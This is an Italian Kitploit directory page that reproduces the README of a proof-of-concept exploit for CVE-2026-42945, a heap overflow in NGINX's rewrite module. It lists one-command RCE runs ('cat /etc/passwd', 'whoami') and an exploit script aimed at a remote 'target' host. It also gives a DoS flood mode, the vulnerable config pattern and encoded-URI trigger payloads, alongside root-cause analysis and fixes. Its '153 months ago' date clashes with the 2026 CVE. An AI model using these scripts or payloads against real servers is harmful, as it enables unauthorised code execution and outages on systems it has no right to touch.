Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
nginx-cve-2026-42945-poc — Proof-of-concept exploit per CVE-2026-42945, un grave heap overflow nel modulo rewrite di NGINX che consente l'esecuzione remota di codice non autenticata tramite codifica URI manipolata. Include ambiente di test basato su Docker, validazione ASAN e multipli script di exploit. | Kitploit
Strumenti/GitHubGitHub/forxiucn/nginx-cve-2026-42945-poc
Sicurezza dei ContenitoriAnalisi Dinamica (Sandboxing)Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebFuzzingPenetration TestingBinary Exploitation

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
forxiucn/nginx-cve-2026-42945-poc

nginx-cve-2026-42945-poc

Proof-of-concept exploit per CVE-2026-42945, un grave heap overflow nel modulo rewrite di NGINX che consente l'esecuzione remota di codice non autenticata tramite codifica URI manipolata. Include ambiente di test basato su Docker, validazione ASAN e multipli script di exploit.

Vedi Repository
153 mesi faNon ancora revisionato

CVE-2026-42945 — NGINX Rewrite Module overflow del buffer heap → RCE

RCE confermato con successo — tramite heap overflow + iniezione di processo GDB, esecuzione di comandi arbitrari nei processi worker NGINX / OpenResty.

Avvio rapido

root@kitploit:~
# Costruzione immagine NGINX + esecuzione test RCE con un comando
./run.sh nginx

# Costruzione immagine OpenResty + esecuzione test RCE con un comando
./run.sh openresty

# Comando personalizzato
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'

Panoramica della vulnerabilità

AttributoValore
ID CVECVE-2026-42945
Tipo di vulnerabilitàHeap buffer overflow → Remote Code Execution (RCE)
Componente interessatongx_http_rewrite_module
Versioni interessateNGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36
Punteggio di vulnerabilitàCVSS 9.4 (CRITICAL)
Condizioni di sfruttamentoNessuna autenticazione; RCE richiede privilegi ptrace (root)

Causa principale

ngx_http_script_complex_value_code() alloca il buffer in base alla lunghezza decodificata dell'URI, ma ngx_http_script_copy_capture_code() chiama ngx_escape_uri() scrivendo in base alla lunghezza codificata. I caratteri codificati nell'URL si espandono di 3 volte → heap overflow.

Condizioni di attivazione

Tre condizioni devono essere soddisfatte contemporaneamente:

  1. Le direttive rewrite e set si trovano nello stesso location
  2. La stringa di sostituzione di rewrite contiene ?
  3. set fa riferimento alla variabile catturata $1 di rewrite
root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # contiene '?'
    set $original_endpoint $1;                     # fa riferimento a $1
}

Stack confermato da ASAN

root@kitploit:~
#0 ngx_escape_uri                    src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler          src/http/modules/ngx_http_rewrite_module.c:180

Struttura del progetto

root@kitploit:~
.
├── run.sh                          # Punto di ingresso per build + test con un comando
├── README.md
│
├── scripts/                        # Script di test & exploit
│   ├── rce.sh                      # RCE puro Shell (curl + GDB, senza Python)
│   ├── exploit_rce.py              # RCE Python (compatibile 2.7/3.x)
│   ├── exploit.py                  # Script PoC principale (check/exploit/rce/flood)
│   └── exploit_asan.py             # Scansione completa ASAN
│
├── package/                        # File di deployment & orchestrazione
│   ├── Dockerfile.rce              # Compilazione sorgente NGINX + ambiente RCE
│   ├── Dockerfile.openresty.rce    # Compilazione sorgente OpenResty + ambiente RCE
│   ├── Dockerfile                  # Immagine base (Alpine)
│   ├── Dockerfile.asan             # Immagine di debug ASAN
│   ├── docker-compose.yml          # Orchestrazione Docker (nginx-rce + openresty-rce)
│   ├── nginx.conf                  # Configurazione vulnerabile NGINX
│   ├── nginx-openresty.conf        # Configurazione vulnerabile OpenResty
│   ├── start_rce.sh                # Script di avvio container NGINX RCE
│   └── start_openresty_rce.sh      # Script di avvio container OpenResty RCE
│
└── src/                            # Sorgenti (per compilazione)
    ├── nginx-1.26.3/               # Sorgenti NGINX 1.26.3
    ├── nginx-1.26.3.tar.gz
    └── openresty-1.25.3.1.tar.gz   # Sorgenti OpenResty 1.25.3.1 (nginx/1.25.3 integrato)

Utilizzo dettagliato

Test all'interno del container Docker

root@kitploit:~
# Script Shell (nessuna dipendenza Python)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'

# Script Python (compatibile 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'

# Stesso per OpenResty
docker exec openresty-rce bash /opt/rce.sh 'id'

Esecuzione dall'host nel container

root@kitploit:~
docker exec -it nginx-rce bash
# All'interno del container:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'

Test diretto di target remoti

root@kitploit:~
# Richiede root + privilegi ptrace
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'

Script principale PoC (quattro modalità)

root@kitploit:~
python3 scripts/exploit.py --target http://localhost:8775 --mode check     # Rilevamento vulnerabilità
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit   # Verifica heap overflow ASAN
python3 scripts/exploit.py --target http://localhost:8775 --mode rce       # Valutazione rischio RCE
python3 scripts/exploit.py --target http://localhost:8775 --mode flood     # Test di stress DoS

Payload di attivazione

Raccomandazioni per la correzione

  1. Aggiornare NGINX alla versione 1.30.2+
  2. Mitigazione temporanea: evitare la combinazione di rewrite (contenente ?) + set (che fa riferimento a $1)
  3. Regole WAF: bloccare le richieste con codifica massiccia di %25/%3f/%23/%26
  4. Rafforzamento dei permessi: echo 1 > /proc/sys/kernel/yama/ptrace_scope

Riferimenti

  • F5 Advisory K000161019
  • NGINX Source
Scarica lo strumento
PayloadDescrizioneRisultato
/api/%25 × N% codificato✅ Heap overflow
/api/%3f × N? codificato✅ Heap overflow
/api/%23 × N# codificato✅ Heap overflow
/api/%26 × N& codificato✅ Heap overflow